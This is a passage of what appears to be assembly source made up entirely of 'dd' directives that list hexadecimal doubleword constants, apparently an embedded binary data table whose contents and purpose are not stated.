0C3098493h, 1AD90CFh dd 1C1BD57Ch, 4CD8286Ah, 0A9D19800h, 0E61CD37Ah, 0CA32093Bh dd 0E84880AEh, 2202B7CBh, 593D64E4h, 1160D5B3h, 2C0FD9C1h dd 72AFFF80h, 41713B18h, 0BD7B0067h, 5BEC8E8Fh, 0CA2F3128h dd 0D6409094h, 0C1380061h, 85A83B72h, 0DC000F5Fh, 1A2F5AE8h dd 0E1DEB77h, 4DAC1EA0h, 2A3EB960h, 0AE00E79Ch, 0B5D06859h dd 91A085FAh, 0CF4480ACh, 0BA1A84FEh, 0F1751DF0h, 294F407Eh dd 2F469C40h, 57B663Fh, 0F91E9538h, 3A80090h, 30B62D83h dd 161A190Bh, 97CE4ECh, 4F932B0Dh, 20009859h, 37D3F38Ch dd 88120073h, 0ADC90581h, 0A0C091B0h, 67048C11h, 4050600Fh dd 0B8659072h, 9B85F214h, 7F0E0058h, 0AAADE884h, 56175A9Dh dd 8010B2C0h, 11A203D8h, 5BB80372h, 7FFD1916h, 0FE20BCF0h dd 60B44D2Dh, 7F9DAFF4h, 3E41C080h, 0A5EF34DAh, 18F17600h dd 0BD04B65Eh, 48814C8Bh, 1B2E9322h, 0EC600834h, 0BE06C28Ah dd 321344A4h, 0CD1D1005h, 10201898h, 6C8A4C8Ch, 18AF2525h dd 9AAF6B60h, 7AE0C68Eh, 6E1F2900h, 0C0C4D599h, 0C2BD091Dh dd 0CC02BA5Fh, 32260C9h, 6089291Eh, 2810D833h, 990763B9h dd 51194635h, 0C59A73F7h, 3C6925h, 9B15B347h, 3A53E4F4h dd 8100EB55h, 0D2AD188Ch, 0AE480B03h, 27D3C0ACh, 0EC44FD7h dd 4E5AB36Bh, 0DC67B880h, 69590C12h, 23F1087Ch, 0A981801Ch dd 559ACA06h, 0DA352E09h, 0C0C44Dh, 0B1AA8F1Ah, 33E0569Bh dd 7A9A6907h, 3930C1F8h, 0C3A9F9h, 8EBDBB8Dh, 90AA9DC7h dd 10970725h, 6F5574h, 7AB074CFh, 0EE600F06h, 0F5D29D12h dd 1757AE1Dh, 0E282498h, 0E67570FCh, 0D2D0D427h, 745692B5h dd 96A2990Eh, 0BE06837h, 7E0F17h, 9B61D23Dh, 76A865Ch dd 96FF4C00h, 6F8281B6h, 63FB2671h, 4F1091C0h, 609088h dd 4BBFB31h, 5ED41DE7h, 13C54D00h, 0A5D83EA6h, 0F5FF28E1h dd 80D891A0h, 0E2E60405h, 85051920h, 1196F6F8h, 0F91EFC32h dd 9D213B0h, 186880F0h, 0B50D0CCBh, 0F602A8D3h, 22867820h dd 1EB324Eh, 0C2149608h, 97209B08h, 1817D3E8h, 30312F2Ah dd 31B58D12h, 842C8194h, 0E46C0DC3h, 7D9FCC02h, 0E4805E42h dd 0DA75BCh, 0A377EDF3h, 5F640454h, 0D1C92900h, 25AEE0AFh dd 0D0951432h, 94706CCFh, 411B7008h, 7B14B0B4h, 13102F10h dd 0A4A28498h, 267416C7h, 0F144389Fh, 530D3EE2h, 0F907AF3Ah dd 0E0AB90ADh, 0C30B9E8Fh, 11129805h, 88EC9D15h, 5F602B82h dd 1140B056h, 0C2A998h, 0F412137Ch, 0DAD8A320h, 0DCB32801h dd 3AE8DF65h, 8E0B0023h, 0B17E95E3h, 0A46E7E00h, 3ED9D29h dd 4FEF2B1Bh, 74F8F9EBh, 0E04C8C12h, 0CDC8C0F8h, 0BE9D2Ch dd 2913B388h, 0FD8441BCh, 0D25CF0Ch, 0F6E7E88Bh, 0D59C2844h dd 0DADD0DCCh, 2E7898DEh, 0D1154C30h, 0D0B40114h, 25898352h dd 413EF343h, 0F2316035h, 1E5AB7BCh, 0C065A2CEh, 4B8C511h dd 56F6BD6Ch, 8514C148h, 44AC9986h, 0EE801189h, 0E8428C1Eh dd 0C83A3527h, 5C9A854h, 484EE044h, 8008ECA5h, 766845E2h dd 0F5375B0h, 0B2AE8844h, 0AD680356h, 2901EA29h, 27DEF6A7h dd 3ACC548Fh, 0B9B704Bh, 11B9257Eh, 0A25EC004h, 372B1E88h dd 0CC40E89Fh, 9FBA5AEBh, 0C581718h, 0D33830BDh, 0C906340h dd 8F038705h, 50A1FAB0h, 300050C2h, 0B1819117h, 9D0045C9h dd 4FB85503h, 5F9B1139h, 0D0C8209Ch, 0BD658A7Ah, 14CB1538h dd 93487D01h, 8036CB97h, 1AFF8E81h, 488B727Ch, 884AF022h dd 0CE1C942Ch, 0F800A16Ch, 0F0314524h, 0CBB0017Dh, 0E4E86621h dd 875C70B2h, 30C89F4Ah, 9942864Bh, 0E5B4205Eh, 0E03B54Fh dd 1B4113BCh, 96C3812Ch, 0CD803438h, 40E23FE6h, 3E1D75F6h dd 1700DE1Ah, 5E53FA28h, 42E509C5h, 0C4599F50h, 47487380h dd 2AB92Ch, 0F6347BEDh, 676D189Eh, 9516E890h, 2008E880h dd 41B8809Ch, 5657AC20h, 0C3F8ED00h, 1AABA8E7h, 0F9300779h dd 0CBFE9651h, 998DE100h, 199512BCh, 140C198Ch, 61294A84h dd 7C201D0h, 0C83181B7h, 846466B9h, 44B526F3h, 151A86ACh dd 9700392Ah, 0CD2F3607h, 4FAC25h, 4EA3E7B7h, 5FA8EC17h dd 0B8CF3E00h, 67E894F6h, 80254C73h, 7C8C2380h, 8E01502Dh dd 0C31289CBh, 0FED29A02h, 0BA004B08h, 84118DDAh, 349454E2h dd 80F53747h, 627FD420h, 42A201EDh, 291E503Ah, 0C224CCBAh dd 4B8C1A4Ch, 25991470h, 198BE94Dh, 0E4CEC198h, 0CEE86500h dd 6D88C2AFh, 2F7D2CA3h, 70E20200h, 0C4C211DEh, 0D6C01C5Ch dd 0FDDA97h, 0DF036F52h, 6EE4DB26h, 76BFAE00h, 0F2AD8F5Bh dd 9CF49C23h, 1E848059h, 0C6C3CF37h, 0E0E1A000h, 57672AB8h dd 5B087EBAh, 1664E82Eh, 747059F8h, 94D98303h, 2CC42524h dd 6400DF76h, 4143D1EDh, 0A0AE7F75h, 54EFF5DFh, 1A6FE463h dd 0C1CE17DEh, 8E96861h, 9894BD42h, 7E068907h, 0D1C3D9E0h dd 2ABEA8A3h, 0DBDD0EF0h, 0B8FC023h, 8B371CF2h, 0DC739D49h dd 0BC132413h, 1F006CECh, 690675A3h, 5F003F64h, 0CFC558D1h dd 50DF169Fh, 84229003h, 392D0F0Fh, 0BEB903FFh, 5403D840h dd 0AB102D47h, 6B0F5C64h, 941734h, 0A1D19E2h, 0AA8126B7h dd 93B200C9h, 0EAA21210h, 7BB3BB01h, 0DC0585F8h, 0AF80F422h dd 4286DCEh, 1DF27201h, 949D23EBh, 0D280B842h, 0B51C0FCCh dd 4501792Ah, 0C1AEB685h, 332BD124h, 15B700D0h, 4871B5D6h dd 743A0349h, 0C822CF46h, 0A8C15BA2h, 6CFC1532h, 0FDC43D80h dd 23009FD4h, 0E59040Ch, 4D60D6Bh, 807494CFh, 0F62F4FCBh dd 588AEF0h, 0BE5E15E8h, 8738C114h, 0B347392h, 289D630h dd 0E6E8F454h, 0B4B900CCh, 9AF0B59Fh, 32009E9Bh, 8D3FDD8Ch dd 63D458h, 0EE7DB6Bh, 0D0070C71h, 96EA3E3Bh, 0A4A3F890h dd 68236F00h, 5494E9A6h, 0CF082400h, 67E5B739h, 8F8404C6h dd 0A2291BC2h, 94285FB0h, 0B4FE1C60h, 0A995C010h, 0B89CCBA1h dd 90248B2Fh, 19290D68h, 0E0875512h, 5C86089Ah, 8C0A4F1h dd 0A1ADF44Dh, 6C9B9301h, 0BAF201CDh, 32FD331h, 0BBE32184h dd 6864D0C2h, 3280F099h, 0A9E8F30Ah, 1C4012E4h, 48D722h dd 0CF9F89D3h, 51AD7603h, 0A033B2F6h, 0BF988ED0h, 49840CA4h dd 6EDC4824h, 0CD7B24CAh, 609C0039h, 0DC669DB7h, 0E8CC124Bh dd 1220908Bh, 0C81106E7h, 530A0140h, 504D1BE8h, 719C8609h dd 880192E4h, 50098970h, 0E1FB381Bh, 0B47C1118h, 0ADAC0193h dd 0D6078457h, 8C019C6Ch, 0A3F48518h, 0C064BB35h, 97E14416h dd 0C00C8B5Ch, 0ACCA28C9h, 9EC00054h, 16B120C1h, 2257F83Fh dd 5BA610D4h, 122511h, 6FB4DFC6h, 10FD44h, 0B6983266h dd 0C06B0C5Fh, 0A0A1390Fh, 0DE7C03Eh, 632681h, 0C6BF0212h dd 41BAC4AEh, 0F86E1C13h, 85FB5C04h, 0F86708Ch, 0EAFCF2A9h dd 81E7BC62h, 480CAC42h, 9B4434D0h, 0ADF000ACh, 0ED48C193h dd 0E7249F75h, 0C640FC36h, 4FBF122Dh, 68BF804Ah, 231EC287h dd 0AD93CAFEh, 25BC08D8h, 3410F54Fh, 2D0096A5h, 219A0C64h dd 16903Dh, 970EE093h dd 0A01D82BCh, 9D8FAA16h, 48EC8CC8h, 881E5A86h, 0D143409Ah dd 907BA29Bh, 8E6C5E0Fh, 92B5A376h, 0A0D03F77h, 9A84825Ah dd 94CFB82Ch, 0F7A082FCh, 0F8C0AD57h, 0F309A38Bh, 79A6E8BBh dd 5C1A0028h, 4ED5DB2Ch, 0A14F9D03h, 0E9904363h, 84C0B15Eh dd 50049E92h, 7C00FFEAh, 480F3EBDh, 0F7D2716h, 0A9B42DB2h dd 9DC80BB6h, 800FF8D3h, 85F180FDh, 0C290CAh, 0F2B87437h dd 466E651Bh, 0CB62279h, 0E78BE802h, 57C8E4D2h, 77004084h dd 0B9520BE2h, 960353DCh, 4B0F5ED5h, 0AC17F597h, 4CB8E098h dd 0DE80C029h, 10D3462h, 70774300h, 0ECABFFD0h, 8C5D0478h dd 401C02C2h, 2B11BCE2h, 8B7C2Ch, 5B85ACFh, 2E9A8FF5h dd 75142250h, 0F64D8A00h, 6A4EA8AFh, 0F30927C5h, 2A825461h dd 0D638C420h, 0E57700A6h, 60BAD93Bh, 6EB8151Bh, 291C2D09h dd 20644EE7h, 345B8396h, 4B938040h, 1695A02h, 4D6BA197h dd 0E8015E26h, 367F54DEh, 0AEE7500Eh, 3EB7800Ch, 5080BBF8h dd 8A2CDDh, 0E1EE330Fh, 0F85AE009h, 4505A100h, 661DB127h dd 128517A5h, 0D88A1Fh, 9BBFEF14h, 0F4BB2266h, 0C72507F7h dd 0C7130CCEh, 0AECA3153h, 9BA2059h, 12BD0509h, 18389098h dd 3036008Ah, 0ADE842EEh, 349E3A2Ah, 18D4800Bh, 1F6A54B4h dd 0C1EFFFC3h, 0F7CF5F44h, 30EDFD95h, 0E4FDAD68h, 5A1EA689h dd 0FD09E994h, 1CA0C684h, 4C1A0EDEh, 9250C01Ch, 249F8727h dd 48CAE30h, 90330054h, 88640F2Ah, 6A7D7830h, 0C47B7D28h dd 1C04474Bh, 0CCA2BD9Dh, 90295400h, 52C785EFh, 1E629702h dd 74671107h, 601D4464h, 0BE9B8789h, 29574748h, 49928C24h dd 80889224h, 7A6B7E74h, 0EDA3001Dh, 607FC341h, 0AC0181B1h dd 0FAB9FF8Bh, 4EE0D4C5h, 10111439h, 182E3CBBh, 0E06C25C8h dd 41347701h, 0BE1594D3h, 0D1E405D9h, 9DBC2E1Dh, 0F1890EE6h dd 76DBC2C1h, 87743CACh, 5910D1B0h, 91B36F6h, 0ACF1B447h dd 914B9C82h, 4DC6B120h, 8BF000Ch, 0E85131BBh, 1F4AC2A3h dd 9215A821h, 12ABA010h, 12CC0C2Fh, 44E85E58h, 127C9C35h dd 14448441h, 0BFFCA4h, 48E1DAF0h, 73ABC5A2h, 4488964Ah dd 4BF8BBh, 0BFFB1C53h, 5F8626E3h, 0D7956105h, 20ECB09Ch dd 0B3E05280h, 0A4B0D2BDh, 16EA4F21h, 80A4E292h, 0E43B164Bh dd 957D1FF1h, 0B4251401h, 0FB320E80h, 0C30EA55Fh, 1DA31543h dd 0C770B9C0h, 16AA881h, 16764EA4h, 4823FA80h, 1201158Ch dd 45B96990h, 5C738414h, 23FB810Fh, 5A4400F1h, 74558077h dd 0F25E006Ah, 53B6E64Ah, 0EC3D935Dh, 91D982C8h, 798B3590h dd 17C60FACh, 9F99C8BDh, 8E7D0E89h, 84512030h, 0C8981B83h dd 0BB80C6E9h, 0A1A8B924h, 79EB010Ah, 4C2AF43h, 1A90E816h dd 7FAA380Bh, 0D8C4DEh, 22D00897h, 301D1EDh, 9A07E096h dd 0ABC507BCh, 0CB00C0B2h, 5330D915h, 0BF764614h, 0A07CD81Ch dd 0A5EB007Bh, 0AF0CC4D1h, 0E9F8ECEDh, 98BC206Fh, 0C0025397h dd 0CC6A921Bh, 0F164E2FAh, 4FF00004h, 48F26DE4h, 0A3EB3800h dd 0A6B66B1Bh, 9D0D7825h, 0A047FC90h, 0F2342402h, 64DF140Bh dd 97154E14h, 80C8F99Ch, 0B2075BE5h, 0FCB5F0E7h, 0C3342801h dd 0DE5E4980h, 0C1AF14FAh, 1E08EC3Dh, 0EF89FE51h, 0A47978h dd 6AC49B5Bh, 68B0BEA0h, 3C11F604h, 81EBAD76h, 30DE7319h dd 93421F90h, 51351402h, 500058CBh, 49074D7h, 0DE763811h dd 0BC549416h, 2663C04Ch, 0D539FDh, 0EFD05F4Fh, 7FAD20C5h dd 9CB81300h, 34308687h, 0B1849888h, 479EBCh, 26D2B084h dd 6700B96Dh, 3E070B6Eh, 0CAC78Dh, 0A6D789FAh, 879F09A0h dd 88883CE9h, 21086411h, 0EA5636h, 27673F1h, 0E1592D0Eh dd 0FCADEF0Dh, 5222FF89h, 48250074h, 826E56EFh, 550BD27Dh dd 51944642h, 0A3AC001Ch, 2AD837B7h, 2638F61Eh, 467B4500h dd 90A3F7Eh, 0FC1E536Fh, 38D1330Bh, 121A8900h, 4E126A1h dd 0DE8B5E4Eh, 2394A242h, 12C3049Ah, 0F8809466h, 1319C5B0h dd 0E1BB6D80h, 9A40004Ah, 7F0DF218h, 57171BC8h, 0DC8C8799h dd 70820046h, 0A36F1128h, 370435ABh, 0D4BBE46Eh, 900ACB2h dd 0C10471D3h, 2A000D3Eh, 6D5978FFh, 77D19591h, 7A030A7Fh dd 5850DEh, 52200797h, 1C1A761Dh, 59CC19F2h, 0A20A009Ch dd 0B12B4DAh, 0D9906704h, 47C0731Eh, 13171B22h, 899CD37h dd 0B2801628h, 858A7AA7h, 20E800BAh, 154D96E1h, 0C025E1Dh dd 881D1F1h, 144422h, 0F09690A5h, 788485F8h, 71F4D4Ch dd 1F3EA22Fh, 632521BFh, 0B423EECCh, 369412h, 2A522CA9h dd 51348C07h, 0BC00518Fh, 0C5E028ECh, 0E73E023Fh, 0B80817D3h dd 347AF4E2h, 77B4334Dh, 39E30734h, 0DC8000ACh, 0AB654D4Ch dd 41FC2600h, 0E9B260C1h, 116E1EC0h, 0E182003Fh, 96F4A467h dd 1B6280BCh, 5512112Fh, 0C43CB8CCh, 0AA80E19Fh, 0F142ADh dd 0C55EB56Ch, 9A7BED25h, 0C482F325h, 58420314h, 591CF295h dd 15DE66D8h, 0E8861E2Ch, 0CEF367E0h, 0D11A39A8h, 52790500h dd 0F0456F80h, 67A2C809h, 0A8B0B4Fh, 0B8584420h, 0BC6C0199h dd 1DF9473Bh, 0AB7AC06Ah, 6025DD05h, 0C217DFh, 0E05CD4BCh dd 774A817Ch, 3ABD900h, 45C5001h, 0B34F00F7h, 0B44153D8h dd 2978907Bh, 0FA547F38h, 0ED95EA07h, 3E40E9E6h, 0A7025Eh dd 4C6BF5A3h, 0A4F67F67h, 51B43701h, 0EA4E3D1Eh, 622BAF8h dd 4ABF3FB2h, 10F838F8h, 0B5511904h, 0FD8002AFh, 305EA803h dd 5821F14Ch, 0B3B0E0EBh, 0C17BBF00h, 0B3DE53D7h, 0C02E7FCAh dd 0E165B589h, 0D90001FEh, 6233AE9Dh, 60FB9230h, 0B20DC071h dd 51601C7Fh, 41964F31h, 0F4D379FCh, 0C2D118C6h, 0FFE570FAh dd 86B1CE6Fh, 0F83050CBh, 16C901AEh, 19BA4BF9h, 0F816FF9Bh dd 0D91DB45Eh, 1175DDC6h, 63F50761h, 0A0E8C9B3h, 7930B7D4h dd 8F329C8h, 340D5270h, 3EC09149h, 0AD9201C5h, 0A33DFC6Ch dd 0F915FCE8h, 41704961h, 0D400EA51h, 0E9006352h, 0C152143h dd 7CA2DC29h, 51F34C77h, 53A06062h, 90EB3002h, 0BB7D0h dd 11BDBBD8h, 5CFC1264h, 0D3403400h, 0DE742557h, 0CB8AB7Ah dd 0D8B472C0h, 6917DD80h, 5B11D1C8h, 3CC0E84h, 0C729C076h dd 3A5BD374h, 0F3013C25h, 434F4DA5h, 51488C9Bh, 0AA51B8h dd 0FFEBCA7Eh, 0AD532108h, 0FAC85828h, 90627705h, 84402334h dd 0F28A4298h, 0CAEF035Ah, 810BE3A7h, 51A86998h, 70799E30h dd 606C4E9Dh, 0C7CAB17Eh, 0D4A952D6h, 8F9C4B0h, 1500B47Ch dd 0E0FCD914h, 32E4D321h, 5DA8733Ch, 1967602h, 8A1C387Fh dd 98F9ED81h, 0C2899D80h, 0DC9C72h, 0C3EC8D23h, 0E2F62460h dd 7E649700h, 14D5A412h, 222090F5h, 322E9B7h, 4A3430C7h dd 6CFB959h, 271F7F00h, 84B820B4h, 2FE1056Ah, 46D875DEh dd 31CCC6D8h, 69523E06h, 22206CE1h, 0D8285468h, 25234E5h dd 0D38840D8h, 0F612F742h, 2CA40772h, 0AC7BD073h, 0F20048AEh dd 4B964CF5h, 0C0EBEAFFh, 0E2859149h, 0D101CCD4h, 0D3C81C36h dd 0CC5D75FCh, 1CC196F8h, 0C3C7EDh, 62A50172h, 0A91D15A1h dd 2424A438h, 693C9D0Eh, 0A1C0FD7h, 23118C52h, 0FCE5AE03h dd 1150E2EAh, 5B707E46h, 2F692201h, 0FD53831Fh, 4D9956C0h dd 4F08042Dh, 7F86F26Bh, 0A8915251h, 984430BCh, 12153C50h dd 4CFC4B8Fh, 0C198469h, 6A6908CFh, 0A94D8E7h, 3AAC141Ch dd 57613444h, 0D6293D59h, 0B34030h, 0AD7410E1h, 5BF591AFh dd 0A397DC00h, 55339E98h dd 0D4512AB3h, 5F0213F4h, 758EAC2Eh, 25D03C2Eh, 115CF814h dd 750E5446h, 26A1CAB8h, 0C05C44D4h, 0F57AD840h, 0EE8F24h dd 12F0523Fh, 0C8639CFEh, 2888B47Fh, 29CF60EDh, 0E6E74748h dd 22027BE0h, 207F5440h, 10E311F3h, 0FA033259h, 41761F1Ch dd 2DB24023h, 674A4EEh, 8050613Fh, 561A4F64h, 0FCA348CEh dd 0D9D21852h, 8B4CF058h, 409FD1CFh, 0E6839E2Fh, 76970F11h dd 0BA4BFAACh, 82887h, 0DA177C89h, 0DE5C3004h, 70913D7Bh dd 37102234h, 0A10042CBh, 9D315917h, 7A835Bh, 3DC4E83Bh dd 0FE3AF6B4h, 0FBE36404h, 0F208CE55h, 0AD7EEA40h, 0D9C101B4h dd 0D2C6FAB3h, 4BE98CFBh, 0F6E02985h, 251B0059h, 1821CE77h dd 76003363h, 2AC3EACBh, 3C7EBFCh, 0C11C03B9h, 6810E484h dd 0C09FF565h, 0DDDC39FEh, 512A0380h, 0ABFCF8CFh, 7D1FC205h dd 0F004BB18h, 4F02542Bh, 0FC908767h, 94B12338h, 0DC8BC040h dd 17521D3Fh, 0CD29C0BCh, 0DA4BD3FDh, 8EEE39C0h, 0A0FB5B98h dd 1F3F5744h, 0DBCC2E36h, 92E44966h, 5B20DEA8h, 0D03CE0B2h dd 0F2228489h, 8587A700h, 0B313BD81h, 0D3B41361h, 9D0800A9h dd 0E5C9EDCAh, 88DDAC26h, 0A82EA44h, 0D5E04BE2h, 80832808h dd 0E80866A3h, 0F403BAE3h, 39AE3370h, 7320B935h, 6C4FF188h dd 5F52D0B0h, 0D1502AE7h, 0D21F00A0h, 2CF42DDCh, 0CC03216Ah dd 0C679AECEh, 0E422E5D0h, 0BB74278Ch, 0F3832900h, 86E635B0h dd 0AA259100h, 8E4B7DFFh, 5ABF1A1Ah, 8C90B0E9h, 0E817F652h dd 6401403Bh, 0CC03DE57h, 4F34818Ch, 651E89A9h, 604008A0h dd 0D10F6A3h, 0EF8B01A2h, 4EC9B769h, 0C0AC324Dh, 0CF4C735Ch dd 0E418C597h, 906C00C7h, 6D1E05A6h, 0DBD4400h, 275B3FCAh dd 0AA190CD4h, 38795534h, 0F00A6D00h, 9E14774Fh, 0F6AD30ECh dd 4DBA3F68h, 3D295364h, 445084C8h, 0D3E0CA7Dh, 92E03B12h dd 81EA5808h, 0E6BF53C9h, 3226D17Eh, 0D4A68000h, 0C8C48Eh dd 0FC876929h, 61542760h, 0AD82A40Fh, 643777DCh, 60D8A4C8h dd 0ECB410E3h, 1386500h, 0CC1D36CFh, 0B21803B1h, 804BA192h dd 80C2893Bh, 0FA5D71E0h, 530A97h, 0D7CE629Ah, 9949D3F5h dd 3058C9E8h, 9EF40C14h, 5C51183Ah, 0C3323419h, 0A0644B71h dd 4D678A01h, 21349A80h, 3C3D7024h, 917CF20Dh, 8EE58634h dd 94892196h, 3C0222Eh, 52BC86E8h, 2693C8B3h, 9C2D0744h dd 60CCB689h, 69AD1203h, 1927C3Ch, 1FEC15D3h, 61D653DCh dd 3610C7F4h, 0AC00D626h, 0F1C3E8BEh, 5E0F37h, 61B73A2Ah dd 92D0FCBBh, 4AE0F561h, 38281ABAh, 0D80254C9h, 0D720FAC1h dd 0FDE568Fh, 3BC8F5F1h, 0B3E65301h, 0F01ED1E2h, 9C94D2FFh dd 3B0EEC40h, 2A8D32Fh, 16DC21B5h, 1C7EF8E0h, 5E694C64h dd 4E881880h, 0FCEC0B8Eh, 0E08221D3h, 0AC91DED6h, 63A310BAh dd 33FFAF1h, 61CC4657h, 0C7C8828Ch, 6B242122h, 0DD1120CFh dd 861C794Ch, 2CC08351h, 6D07F1Fh, 750621E4h, 0FCA61687h dd 5C54B059h, 0FEC564D2h, 4128C38Fh, 4844D3E2h, 8EE0465Ch dd 7BBE205Ch, 8B5FDBh, 4382B612h, 141BC9BCh, 197ECD12h dd 0B0849C24h, 9C002C8Dh, 9777C40h, 0AD9ACB5Ah, 9BB3CC03h dd 0D3AF2102h, 0E1463A14h, 4315DCF8h, 0BB0459A0h, 12866AB9h dd 0F7F49052h, 536707C6h, 100827E0h, 39C389E3h, 0B80C9DE4h dd 58D59EC9h, 9AD848C7h, 34C03C4Dh, 35FB632Ch, 0B5A6E900h dd 268EC0F0h, 4177418h, 2389281Ch, 0BE808046h, 0A1C4394Dh dd 5E40958Ch, 0D9EF993h, 4AD47604h, 4481F81Fh, 80043EBDh dd 30E125DCh, 0BCA9EB2Ah, 827C4B5Ch, 0C0126F91h, 213AB80h dd 0D2389845h, 0E4C09F10h, 0EA88FEDEh, 40EC4AA1h, 30847328h dd 3F032E72h, 0C757644Dh, 0DD61E09Dh, 0E5E90AF1h, 8090CB50h dd 0ECD5042Dh, 5201D185h, 0ABF3EE90h, 44E57AC0h, 26C168CCh dd 16C8A9E1h, 548280Dh, 0CBBFF900h, 62227367h, 38E4A0B2h dd 0FA5601BAh, 91ECFDB3h, 5DC8607Eh, 26767890h, 2868E801h dd 0C774C3E6h, 0C2B44CC8h, 50527F51h, 0F8E21044h, 0E44DE28Bh dd 6858BCh, 0F50FCF22h, 0CED8B473h, 78099F0Eh, 8C4C10ECh dd 0AEE075h, 9A856C8Eh, 5FFF9DAAh, 1A7F9805h, 480B09Bh dd 3A4FD475h, 0BB04689Ch, 0C08AEE08h, 0E7F3FDAAh, 0B48F4E06h dd 1E28F5C5h, 121EA6B1h, 86BE0BEFh, 15F23491h, 6CCCEC85h dd 293001CDh, 0CFC7C925h, 0E5998BCCh, 0C6D011FFh, 17317CF3h dd 59FDC56h, 4CE7652h, 8324C870h, 0E0E20930h, 0F4103C62h dd 8C772784h, 0C528B709h, 1C2C085Fh, 0C9F9BF00h, 284F9811h dd 10CE44Ah, 0B4ACBB36h, 2118F745h, 0FCB830CCh, 0B1D8C618h dd 0C595B89h, 88694D14h, 0B8B151D9h, 0B8B2B00h, 72F90ACh dd 0EEC05082h, 0ED83F093h, 0C412E435h, 68CCDDABh, 7F9B0F77h dd 0B9FAEB20h, 577D5040h, 8800B175h, 0DC522CCFh, 34DDD1BCh dd 6040A9AFh, 64D74380h, 0DC205900h, 0E98D07C7h, 56A90930h dd 0C2F1BE4h, 0E2D7D101h, 66B0609Bh, 0AFE09741h, 0B0E12CFCh dd 415760D8h, 8558824Bh, 0A8F91DFEh, 0DC400CEEh, 1828397Bh dd 0B8761720h, 0AC30FB19h, 515888A3h, 0B399C0C5h, 8B163482h dd 154D2C00h, 0F27843CFh, 5A19883h, 0BB72F765h, 0A45805C9h dd 0DEAC8CAAh, 0D969CE00h, 72200217h, 0CC3F47Ch, 242D0E5Eh dd 0A900D7A9h, 40A40C21h, 7724E68h, 6A01C4C2h, 0EB3491E8h dd 3FA850CEh, 0FB0039E6h, 0D2F5B761h, 5411E25h, 8F03F8D9h dd 837C9874h, 0E00008E0h, 9352AD24h, 33FC65h, 0D43746C1h dd 0BC01197Ah, 9803977Bh, 0EB6004B3h, 496900E1h, 4AA75E7Ah dd 0F3F22C21h, 730C6E02h, 0E41B7FBCh, 0B5461774h, 0E73808E1h dd 0EF15E580h, 0B2AFDAh, 0F13DF221h, 0C923CA61h, 84432D4Bh dd 88D31258h, 483854C6h, 0C9024183h, 44575CF5h, 0BF00C071h dd 59CE4E84h, 28581F9Fh, 0CDBB8068h, 0A4C8563Dh, 0E446CA13h dd 0A8141023h, 139D28C5h, 2351B2B0h, 0B0F7037Ch, 5C5A6E27h dd 0F16BF628h, 0D8DF5000h, 88CBBCB7h, 4EC1C04Bh, 24EA1CD4h dd 0A0084D4Bh, 8B54808Ch, 0B3167A82h, 0A6C55301h, 70C13733h dd 13501E4h, 8FC930B0h, 48CCC6F2h, 7F1CAEA4h, 466DD5Eh dd 0D0CAFC60h, 11D099BFh, 0E36200D3h, 37A40DC6h, 17B0075h dd 54CAB47Dh, 7634DE45h, 90C3419Ah, 73EA070Ch, 5A2EC92Ch dd 0BC908798h, 91324074h, 1D7C684Bh, 0F0CB2400h, 0C380C205h dd 1A1212ABh, 0CF40884Dh, 4CB8C9E0h, 53585C13h, 3D9F9088h dd 78813ED6h, 55A30AADh, 52EEE8FBh, 763FF004h, 0D0C23C5Bh dd 23D310D4h, 0D23CB490h, 486BA429h, 3050CA15h, 83F6D8A5h dd 6E1B0F1Eh, 31C3FA49h, 3280473Eh, 8509A14Ah, 8458CAC9h dd 0F0C8EAD8h, 0B15203BBh, 25D56B57h, 0C0C0EDE2h, 5A02A1F9h dd 7FCE5FE2h, 0DD8714Fh, 40E152B4h, 0A248D300h, 0B8EB6828h dd 9CA44h, 5D54518Ch, 227097D7h, 6F0F4400h, 59A6CC39h dd 5F2A1293h, 0C1D430CAh, 0A91D5CA1h, 404086D1h, 0E9AE383h dd 0F4E10542h, 0CB624E77h, 2879794Ch, 0D47D7800h, 6F54E7F4h dd 9F0D3C72h, 2C9BBBA0h, 0B7833891h, 114D3CE0h, 3DCB1028h dd 0BE9E784h, 0A0BC6B4Bh, 0FC5F4AAFh, 906928ACh, 276890A4h dd 98A02EDCh, 39E120A5h, 5AB4C124h, 4973981Fh, 156AE04Eh dd 80FF4CDEh, 0D410348Bh, 0B60084E7h, 0D2D0CBF1h, 4AD2642h dd 62761931h, 1804C790h, 0E11F80BFh, 0C4D1E384h, 889B38FDh dd 70A41819h, 28503DD3h dd 68226C54h, 183448BEh, 0DD5A7680h, 8C007565h, 0EF79823h dd 1BDC815h, 0B6A8AD68h, 6C6B54FAh, 0A44502A4h, 84D374DDh dd 1405524h, 4CCEAED0h, 16054100h, 19BA4AF9h, 3DB1C23Fh dd 0C445113h, 4A02FE00h, 1D413330h, 20840094h, 70F451C7h dd 0C47C9366h, 547F6A08h, 294F9E55h, 921597A0h, 30910F38h dd 0A87113C6h, 588B52h, 386997B6h, 196567Eh, 1185FC2Fh dd 0BC50F14Ch, 30DE959Dh, 0F571737Ah, 4388F9EBh, 0D4F200F0h dd 9B2F8279h, 6D0225F1h, 0CBDEE6C6h, 5611C05Dh, 404B4A9Ah dd 0F68B98DCh, 0CE0205E7h, 26D4B2AAh, 1694F004h, 88F442F5h dd 3C0B97ACh, 817A9C76h, 0D34EA4E8h, 0C0739460h, 0AEDE5ED9h dd 7BF07493h, 2F1CF216h, 0E02E58D7h, 414829E2h, 2AB40B79h dd 0C90D5C6h, 771D69AEh, 2284BF1Dh, 88E26B4Dh, 8130D040h dd 925E105Ah, 1BDD1D03h, 802F17C2h, 4F4E7A08h, 4C9B4620h dd 510C8CE1h, 0EE187BD2h, 57B0258Bh, 799EB499h, 0E0EB1880h dd 0A9AB91h, 6C658342h, 0ACFC03BBh, 1907301h, 0B8A8C4D4h dd 605C58E6h, 7EC2A0DCh, 505ADF19h, 0D5CEEC60h, 5C88091Dh dd 40A0A0E4h, 0E9073034h, 9C10675Eh, 26D32D90h, 2D9E6A14h dd 1CA169DEh, 40994415h, 0F45AF184h, 9A622890h, 1548FC8h dd 22FCDE46h, 0D0C61498h, 0C33C5864h, 0DF713FB5h, 85B801A0h dd 0DCA01F48h, 7E158653h, 3760C0D0h, 28D2FA51h, 4F4D1AD8h dd 0E4C28993h, 0D3066871h, 4520AD28h, 1683983h, 35C9490Eh dd 0F830D6DCh, 0A36402D8h, 1353D725h, 25973061h, 39A837F8h dd 0EA8A80CCh, 1264764h, 0FA4300E5h, 0AA9AAB7Eh, 0AF0BE61Bh dd 1050F4C9h, 5C9DDC30h, 9501F054h, 0BE9BB34Bh, 72407045h dd 0D4495092h, 54174CECh, 7F4466CCh, 0C9951h, 33822328h dd 1700F187h, 0ACB422BDh, 0A4EDA803h, 